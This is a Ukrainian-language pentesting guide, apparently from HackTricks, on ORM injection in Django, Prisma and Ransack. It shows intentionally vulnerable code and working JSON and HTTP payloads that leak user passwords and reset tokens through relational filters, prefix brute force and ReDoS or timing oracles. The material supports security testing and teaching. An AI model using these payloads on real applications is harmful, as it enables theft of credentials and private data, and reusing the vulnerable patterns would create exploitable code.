hacktricks/src/pentesting-web/orm-injection.md

302 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ORM Injection
{{#include ../banners/hacktricks-training.md}}
## Django ORM (Python)
У [**цьому пості**](https://www.elttam.com/blog/plormbing-your-django-orm/) пояснюється, як можна зробити Django ORM вразливим, використовуючи, наприклад, код, як показано нижче:
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
Деякий базовий API перегляд, до якого користувачі надсилають запити для
пошуку статей
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
Зверніть увагу, як всі request.data (які будуть у форматі json) безпосередньо передаються для **фільтрації об'єктів з бази даних**. Зловмисник може надіслати несподівані фільтри, щоб витягти більше даних, ніж очікувалося.
Приклади:
- **Логін:** У простому вході спробуйте витягти паролі користувачів, зареєстрованих у системі.
```json
{
"username": "admin",
"password_startswith": "a"
}
```
> [!CAUTION]
> Можливо здійснити брутфорс пароля, поки він не буде витік.
- **Реляційне фільтрування**: Можливо проходити через відносини, щоб витягти інформацію з колонок, які навіть не очікувалися для використання в операції. Наприклад, якщо можливо витягти статті, створені користувачем з цими відносинами: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains": "pass"
}
```
> [!CAUTION]
> Можливо знайти пароль усіх користувачів, які створили статтю
- **Фільтрація багато-до-багато**: У попередньому прикладі ми не могли знайти паролі користувачів, які не створили статтю. Однак, слідуючи іншим зв'язкам, це можливо. Наприклад: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith": "admi"
}
```
> [!CAUTION]
> У цьому випадку ми можемо знайти всіх користувачів у відділах користувачів, які створили статті, а потім витікати їх паролі (у попередньому json ми просто витікаємо імена користувачів, але потім можливо витікати паролі).
- **Зловживання багатосторонніми відносинами групи та дозволів Django з користувачами**: Більше того, модель AbstractUser використовується для створення користувачів у Django, і за замовчуванням ця модель має деякі **багатосторонні відносини з таблицями Дозволів та Груп**. Це, по суті, стандартний спосіб **доступу до інших користувачів з одного користувача**, якщо вони в **одній групі або мають однаковий дозвіл**.
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
- **Обійти обмеження фільтра**: Той самий блог пропонував обійти використання деяких фільтрів, таких як `articles = Article.objects.filter(is_secret=False, **request.data)`. Можливо вивантажити статті, які мають is_secret=True, оскільки ми можемо повернутися з відношення до таблиці Article і витікати секретні статті з не секретних статей, оскільки результати об'єднуються, а поле is_secret перевіряється в не секретній статті, в той час як дані витікають з секретної статті.
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> Зловживання відносинами може дозволити обійти навіть фільтри, призначені для захисту показаних даних.
- **Error/Time based via ReDoS**: У попередніх прикладах очікувалося отримати різні відповіді, якщо фільтрація працювала чи ні, щоб використовувати це як оракул. Але може бути так, що якась дія виконується в базі даних, і відповідь завжди однакова. У цьому сценарії може бути можливим викликати помилку бази даних, щоб отримати новий оракул.
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
- **SQLite**: За замовчуванням не має оператора regexp (потрібно завантажити стороннє розширення)
- **PostgreSQL**: Не має тайм-ауту regex за замовчуванням і менш схильний до зворотного проходження
- **MariaDB**: Не має тайм-ауту regex
## Prisma ORM (NodeJS)
Наступні [**трюки витягнуті з цього посту**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
- **Повний контроль над пошуком**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Атакуючий має повний контроль над усіма опціями prisma
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
Можна побачити, що все тіло javascript передається до prisma для виконання запитів.
У прикладі з оригінального посту це перевірить всі пости, створені кимось (кожен пост створюється кимось), повертаючи також інформацію про користувача цього когось (ім'я користувача, пароль...)
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
Наступний запит вибирає всі публікації, створені кимось з паролем, і повертає пароль:
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
- **Повний контроль над умовою where**:
Давайте розглянемо це, де атака може контролювати `where` умову:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Вразливий до ORM Leaks
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
Можливо фільтрувати паролі користувачів безпосередньо, як:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
```
> [!CAUTION]
> Використовуючи операції, такі як `startsWith`, можливо витікати інформацію.
- **Обхід фільтрації у відношеннях багато-до-багато:**
```javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
```
Можливо витікати непубліковані статті, повертаючись до багатосторонніх відносин між `Category` -\[\*..\*]-> `Article`:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
Також можливо витягти всіх користувачів, зловживаючи деякими зворотними багатосторонніми зв'язками:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
- **Error/Timed queries**: У оригінальному пості ви можете прочитати дуже детальний набір тестів, проведених для знаходження оптимального payload для витоку інформації з використанням payload на основі часу. Це:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Де `{CONTAINS_LIST}` - це список з 1000 рядків, щоб забезпечити **затримку відповіді, коли правильний leak знайдено.**
## **Ransack (Ruby)**
Ці трюки були [**знайдені в цьому пості**](https://positive.security/blog/ransack-data-exfiltration)**.**
> [!TIP]
> **Зверніть увагу, що Ransack 4.0.0.0 тепер вимагає використання явного списку дозволених атрибутів і асоціацій для пошуку.**
**Вразливий приклад:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Зверніть увагу, як запит буде визначено параметрами, надісланими зловмисником. Було можливим, наприклад, брутфорсити токен скидання за допомогою:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
Шляхом брутфорсингу та потенційних зв'язків було можливим витягти більше даних з бази даних.
## References
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{{#include ../banners/hacktricks-training.md}}